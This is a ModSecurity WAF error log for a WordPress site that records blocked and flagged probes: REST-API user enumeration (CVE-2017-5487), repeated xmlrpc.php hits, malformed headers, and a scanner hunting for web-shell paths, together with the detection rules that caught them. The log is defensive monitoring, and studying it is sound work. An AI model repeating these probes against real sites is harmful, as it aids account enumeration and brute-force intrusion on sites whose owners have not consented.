[Fri Apr 10 02:58:59.790024 2026] [:error] [pid 36398:tid 36450] [client 109.178.47.249:1590] [client 109.178.47.249] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adf28-X640wXZwwgfP-BHAAAAFY"]
[Fri Apr 10 03:00:48.948888 2026] [:error] [pid 21486:tid 21511] [client 109.178.47.249:1615] [client 109.178.47.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.178.47.249, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adf3YKBRftltyNdYwLo2BwAAARc"]
[Fri Apr 10 03:01:00.240409 2026] [:error] [pid 21486:tid 21509] [client 93.190.48.15:57016] [client 93.190.48.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.190.48.15, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adf3bKBRftltyNdYwLo2EwAAARU"]
[Fri Apr 10 03:02:39.500082 2026] [:error] [pid 36399:tid 36469] [client 109.178.47.249:1589] [client 109.178.47.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.178.47.249, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adf3z68Hkxpyh6_TlVRF6wAAAI4"]
[Fri Apr 10 03:05:59.874426 2026] [:error] [pid 29569:tid 29582] [client 139.59.37.240:53454] [client 139.59.37.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.59.37.240, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adf4l7t9mkieWu8HPk5bwAAAAUk"]
[Fri Apr 10 03:11:05.128795 2026] [:error] [pid 29569:tid 29583] [client 141.94.139.189:48274] [client 141.94.139.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.139.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adf5ybt9mkieWu8HPk5eEAAAAUo"]
[Fri Apr 10 03:21:30.424433 2026] [:error] [pid 21486:tid 21497] [client 148.113.202.220:49874] [client 148.113.202.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.202.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adf8OqBRftltyNdYwLo6KQAAAQk"]
[Fri Apr 10 03:21:58.635487 2026] [:error] [pid 29569:tid 29586] [client 23.98.148.92:50118] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adf8Vrt9mkieWu8HPk5hWwAAAU0"]
[Fri Apr 10 03:26:52.546773 2026] [:error] [pid 36397:tid 36403] [client 67.205.43.38:49698] [client 67.205.43.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.43.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adf9fGhis4RvVEWEv9sBwgAAAAI"]
[Fri Apr 10 03:29:26.221303 2026] [:error] [pid 36397:tid 36419] [client 67.205.43.38:42026] [client 67.205.43.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.43.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adf-Fmhis4RvVEWEv9sCAQAAABI"]
[Fri Apr 10 03:32:07.819697 2026] [:error] [pid 36672:tid 36683] [client 202.157.175.19:37332] [client 202.157.175.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.157.175.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adf-tz99r9VLJsT_o8ivtQAAAMk"]
[Fri Apr 10 03:34:55.340810 2026] [:error] [pid 36399:tid 36458] [client 46.182.4.125:16178] [client 46.182.4.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.182.4.125, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adf_X68Hkxpyh6_TlVRLOwAAAIM"]
[Fri Apr 10 03:44:38.785721 2026] [:error] [pid 29569:tid 29582] [client 84.201.130.79:38388] [client 84.201.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.201.130.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgBprt9mkieWu8HPk5nSwAAAUk"]
[Fri Apr 10 03:48:11.094810 2026] [:error] [pid 36672:tid 36694] [client 217.182.169.225:42292] [client 217.182.169.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.169.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgCez99r9VLJsT_o8i2RwAAANQ"]
[Fri Apr 10 03:54:11.726820 2026] [:error] [pid 12004:tid 12049] [client 173.249.51.70:35080] [client 173.249.51.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.249.51.70, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgD49ZPA1PM1gnIlna2pwAAAI0"]
[Fri Apr 10 04:00:05.224460 2026] [:error] [pid 12004:tid 12048] [client 78.88.230.100:43842] [client 78.88.230.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.88.230.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgFRdZPA1PM1gnIlna4BQAAAIw"]
[Fri Apr 10 04:02:23.096685 2026] [:error] [pid 47364:tid 47408] [client 152.53.241.40:45382] [client 152.53.241.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.241.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgFz-NJgQtuqPx5Ja3VrAAAAEY"]
[Fri Apr 10 04:04:27.073508 2026] [:error] [pid 47461:tid 47486] [client 107.180.241.110:52362] [client 107.180.241.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.241.110, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgGS9E7fUndOOkEYa0cJgAAANE"]
[Fri Apr 10 04:11:06.056018 2026] [:error] [pid 12685:tid 12702] [client 91.99.102.135:34492] [client 91.99.102.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.99.102.135, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgH2s8f5ssYShsynapKtAAAAM8"]
[Fri Apr 10 04:16:33.920550 2026] [:error] [pid 12574:tid 12597] [client 161.35.47.44:33818] [client 161.35.47.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.47.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgJIXw-1tvJISKJyrTMkwAAAAM"]
[Fri Apr 10 04:17:40.247787 2026] [:error] [pid 12574:tid 12612] [client 146.59.232.195:35780] [client 146.59.232.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.232.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgJZHw-1tvJISKJyrTM3wAAABI"]
[Fri Apr 10 04:20:41.232349 2026] [:error] [pid 12574:tid 12608] [client 82.64.81.82:34344] [client 82.64.81.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.64.81.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgKGXw-1tvJISKJyrTNHwAAAA4"]
[Fri Apr 10 04:26:51.837376 2026] [:error] [pid 12576:tid 12668] [client 64.118.142.87:43066] [client 64.118.142.87] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.118.142.87, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgLiwZp1JUS4li1QnujVAAAAJM"]
[Fri Apr 10 04:59:41.867482 2026] [:error] [pid 12575:tid 12622] [client 83.96.201.169:40168] [client 83.96.201.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.96.201.169, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgTPSjFTOT5X6zsPClHhwAAAEA"]
[Fri Apr 10 05:03:46.177372 2026] [:error] [pid 12575:tid 12626] [client 162.43.85.120:34472] [client 162.43.85.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.43.85.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgUMijFTOT5X6zsPClH6QAAAEQ"]
[Fri Apr 10 05:08:53.291089 2026] [:error] [pid 12576:tid 12671] [client 107.180.252.236:32834] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.252.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgVZQZp1JUS4li1QnutngAAAJY"]
[Fri Apr 10 05:09:53.154565 2026] [:error] [pid 12685:tid 12695] [client 49.51.243.95:57736] [client 49.51.243.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adgVoc8f5ssYShsynaphYwAAAMg"]
[Fri Apr 10 05:14:36.876272 2026] [:error] [pid 12685:tid 12708] [client 93.91.154.4:35264] [client 93.91.154.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.91.154.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgWvM8f5ssYShsynapjyQAAANU"]
[Fri Apr 10 05:18:56.957517 2026] [:error] [pid 12574:tid 12602] [client 151.252.48.20:37704] [client 151.252.48.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 151.252.48.20, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgXwHw-1tvJISKJyrTWCgAAAAg"]
[Fri Apr 10 05:26:44.800281 2026] [:error] [pid 59286:tid 59299] [client 85.214.232.59:56700] [client 85.214.232.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.232.59, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgZlG1gMezN4JEr-RWfPAAAAcs"]
[Fri Apr 10 05:27:36.602973 2026] [:error] [pid 12685:tid 12707] [client 80.66.213.216:54812] [client 80.66.213.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.66.213.216, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgZyM8f5ssYShsynapo2wAAANQ"]
[Fri Apr 10 05:32:19.684927 2026] [:error] [pid 12685:tid 12696] [client 51.210.113.223:34588] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adga488f5ssYShsynapqIwAAAMk"]
[Fri Apr 10 05:34:04.444413 2026] [:error] [pid 59144:tid 59156] [client 157.245.6.105:42280] [client 157.245.6.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.6.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgbTBta6MlufQo3_orpOwAAAUo"]
[Fri Apr 10 05:35:28.213811 2026] [:error] [pid 12685:tid 12704] [client 217.182.169.225:48422] [client 217.182.169.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.169.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgboM8f5ssYShsynaprIgAAANE"]
[Fri Apr 10 05:36:23.428117 2026] [:error] [pid 59286:tid 59293] [client 212.129.7.184:59692] [client 212.129.7.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.129.7.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgb121gMezN4JEr-RWhVgAAAcU"]
[Fri Apr 10 05:36:33.327414 2026] [:error] [pid 59218:tid 59220] [client 162.43.85.120:42910] [client 162.43.85.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.43.85.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgb4YjSO_Wp4VS3Qe_pSAAAAYA"]
[Fri Apr 10 05:38:31.623772 2026] [:error] [pid 12575:tid 12624] [client 83.166.155.159:34324] [client 83.166.155.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.155.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgcVyjFTOT5X6zsPClNFAAAAEI"]
[Fri Apr 10 05:38:34.981813 2026] [:error] [pid 12575:tid 12642] [client 137.184.25.215:45122] [client 137.184.25.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.25.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgcWijFTOT5X6zsPClNFgAAAFQ"]
[Fri Apr 10 05:46:16.973338 2026] [:error] [pid 59098:tid 59117] [client 43.153.19.83:58598] [client 43.153.19.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adgeKCZshs05JVy8bJ4VAwAAARA"]
[Fri Apr 10 05:50:40.254623 2026] [:error] [pid 59144:tid 59149] [client 149.202.76.92:40738] [client 149.202.76.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.76.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgfMBta6MlufQo3_orrwgAAAUM"]
[Fri Apr 10 05:52:47.414965 2026] [:error] [pid 12685:tid 12710] [client 159.223.103.141:50036] [client 159.223.103.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.103.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgfr88f5ssYShsynapyCgAAANc"]
[Fri Apr 10 06:04:06.215835 2026] [:error] [pid 12576:tid 12657] [client 185.199.223.27:52992] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgiVgZp1JUS4li1Qnu1XwAAAIg"]
[Fri Apr 10 06:08:10.870017 2026] [:error] [pid 12576:tid 12664] [client 159.223.103.141:39278] [client 159.223.103.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.103.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgjSgZp1JUS4li1Qnu1ugAAAI8"]
[Fri Apr 10 06:11:26.584005 2026] [:error] [pid 59286:tid 59300] [client 100.24.110.95:57076] [client 100.24.110.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 100.24.110.95, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgkDm1gMezN4JEr-RWqlAAAAcw"]
[Fri Apr 10 06:14:02.656571 2026] [:error] [pid 59286:tid 59303] [client 217.182.169.225:37710] [client 217.182.169.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.169.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgkqm1gMezN4JEr-RWrbgAAAc8"]
[Fri Apr 10 06:14:18.953422 2026] [:error] [pid 59286:tid 59296] [client 168.227.250.223:18965] [client 168.227.250.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 168.227.250.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgkum1gMezN4JEr-RWreAAAAcg"]
[Fri Apr 10 06:21:02.032982 2026] [:error] [pid 12574:tid 12607] [client 13.239.53.175:36328] [client 13.239.53.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.239.53.175, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgmTnw-1tvJISKJyrTanwAAAA0"]
[Fri Apr 10 06:21:03.188547 2026] [:error] [pid 59286:tid 59293] [client 161.97.171.174:34266] [client 161.97.171.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.97.171.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgmT21gMezN4JEr-RWs0gAAAcU"]
[Fri Apr 10 06:21:03.191061 2026] [:error] [pid 59286:tid 59293] [client 161.97.171.174:34266] [client 161.97.171.174] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgmT21gMezN4JEr-RWs0gAAAcU"]
[Fri Apr 10 06:21:03.192377 2026] [:error] [pid 59286:tid 59293] [client 161.97.171.174:34266] [client 161.97.171.174] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgmT21gMezN4JEr-RWs0gAAAcU"]
[Fri Apr 10 06:26:21.784984 2026] [:error] [pid 59098:tid 59114] [client 172.238.64.140:57526] [client 172.238.64.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.238.64.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgnjSZshs05JVy8bJ4YbgAAAQ0"]
[Fri Apr 10 06:30:19.671393 2026] [:error] [pid 12685:tid 12693] [client 20.116.9.125:8839] [client 20.116.9.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "adgoe88f5ssYShsynap8kwAAAMY"]
[Fri Apr 10 06:30:21.608960 2026] [:error] [pid 12575:tid 12627] [client 20.116.9.125:8712] [client 20.116.9.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/plugins/content/apismtp/apismtp.php.suspected"] [unique_id "adgofSjFTOT5X6zsPClQ7QAAAEU"]
[Fri Apr 10 06:35:50.903705 2026] [:error] [pid 59286:tid 59304] [client 34.165.13.211:49902] [client 34.165.13.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.165.13.211, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgpxm1gMezN4JEr-RWvbQAAAdA"]
[Fri Apr 10 06:42:55.328916 2026] [:error] [pid 12685:tid 12687] [client 217.160.22.146:45418] [client 217.160.22.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.22.146, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgrb88f5ssYShsynaqBSAAAAMA"]
[Fri Apr 10 06:49:08.097192 2026] [:error] [pid 12576:tid 12664] [client 82.197.70.185:53634] [client 82.197.70.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.197.70.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgs5AZp1JUS4li1Qnu5DAAAAI8"]
